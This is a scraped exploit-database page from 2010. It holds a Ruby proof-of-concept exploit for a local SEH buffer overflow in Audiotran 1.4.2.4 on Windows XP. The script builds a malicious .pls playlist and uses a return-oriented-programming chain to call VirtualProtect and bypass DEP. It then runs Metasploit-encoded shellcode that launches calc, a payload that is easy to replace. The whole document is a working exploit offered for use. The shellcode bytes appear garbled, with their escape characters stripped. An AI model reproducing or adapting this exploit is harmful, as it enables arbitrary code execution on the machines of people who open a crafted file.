[local exploits] - Audiotran 1.4.2.4 SEH Overflow Exploit (D
Posted on 19 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Audiotran 1.4.2.4 SEH Overflow Exploit (DEP Bypass) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: local exploits | Exploit author: Abhishek Lyall' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=================================================== Audiotran 1.4.2.4 SEH Overflow Exploit (DEP Bypass) =================================================== # Credit/Bug found by : Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com # Author: Muhamad Fadzil Ramli - mind1355 at gmail dot com # Software Link: http://www.e-soft.co.uk/Audiotran.htm # Version: 1.4.2.4 # Tested on: Windows XP SP3 EN (Virtualbox 3.2.8 r64453) # CVE: N/A # greetz to PVE (corelanc0d3r - great tutorial) & Intranium Pentester #! /usr/bin/env ruby # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "xdbxc0x31xc9xbfx7cx16x70xcc" payload << "xd9x74x24xf4xb1x1ex58x31x78" payload << "x18x83xe8xfcx03x78x68xf4x85" payload << "x30x78xbcx65xc9x78xb6x23xf5" payload << "xf3xb4xaex7dx02xaax3ax32x1c" payload << "xbfx62xedx1dx54xd5x66x29x21" payload << "xe7x96x60xf5x71xcax06x35xf5" payload << "x14xc7x7cxfbx1bx05x6bxf0x27" payload << "xddx48xfdx22x38x1bxa2xe8xc3" payload << "xf7x3bx7axcfx4cx4fx23xd3x53" payload << "xa4x57xf7xd8x3bx83x8ex83x1f" payload << "x57x53x64x51xa1x33xcdxf5xc6" payload << "xf5xc1x7ex98xf5xaaxf1x05xa8" payload << "x26x99x3dx3bxc0xd9xfex51x61" payload << "xb6x0ex2fx85x19x87xb7x78x2f" payload << "x59x90x7bxd7x05x7fxe8x7bxca" head = "x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0Dx0Ax46x69x6Cx65x31x3D" junk1 = "A" * 264 seh = [0x73512733].pack('V') # ADD ESP, 1004 # RETN [Module : MSVBVM60.DLL] retslide = [0x73512739].pack('V') * 624 # RETN SLIDE # ROP1 rop1 = '' rop1 << [0x775BB15D].pack('V') # PUSH ESP # POP EDI # XOR EAX, EAX # POP EBX # POP ESI # POP EBP # RETN 8 [Module : ole32.dll] rop1 << "PPPP" * 3 # PADDING rop1 << [0x77C1E842].pack('V') # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll] rop1 << "PPPP" * 3 # PADDING rop1 << [0x055FB8D2].pack('V') # ADD ESP, 20 # RETN [Module : threed32.ocx] # END # VIRTUALPROTECT params = '' params << [0x7C801AD4].pack('V') # VirtualProtect params << 'WWWW' # return address (param1) params << 'XXXX' # lpAddress (param2) params << 'YYYY' # Size (param3) params << 'ZZZZ' # flNewProtect (param4) params << [0x10051005].pack('V'); # writeable address params << 'PPPP' * 2 # END # ROP2 # WRITE PARAM 1 # ADD ESP,20 LANDS HERE rop2 = '' rop2 << [0x73511C1F].pack('V') # PUSH EDI # ADD AL, 5F # POP ESI # POP EBP # POP EBX # RETN [Module : MSVBVM60.DLL] rop2 << "PPPP" * 2 # PADDING rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll] rop2 << [0x77C1E842].pack('V') # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x74872AE6].pack('V') # ADD EAX, 120 # POP EBP # RETN 4 rop2 << "PPPP" # PADDING rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" * 2 # END # WRITE PARAM 2 rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] rop2 << [0x74872AE6].pack('V') # ADD EAX, 120 # POP EBP # RETN 4 rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" # END # WRITE PARAM 3 rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll] rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" # END # WRITE PARAM 4 rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll] rop2 << [0x77C4EC1D].pack('V') # ADD EAX, 40 # POP EBP # RETN [Module : msvcrt.dll rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" # END # POINT ESP TO VIRTUALPROCTECT rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x27598BEE].pack('V') # XCHG EAX, ESP # RETN [Module : Mscomctl.ocx] # END nops = "x90" * 300 junk2 = "C" * (10000 - (head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload).length) data = head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload + junk2 File.open("crash.pls", 'w') do |b| b.write data puts "file size : " + data.length.to_s end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-19]</pre></body></html>
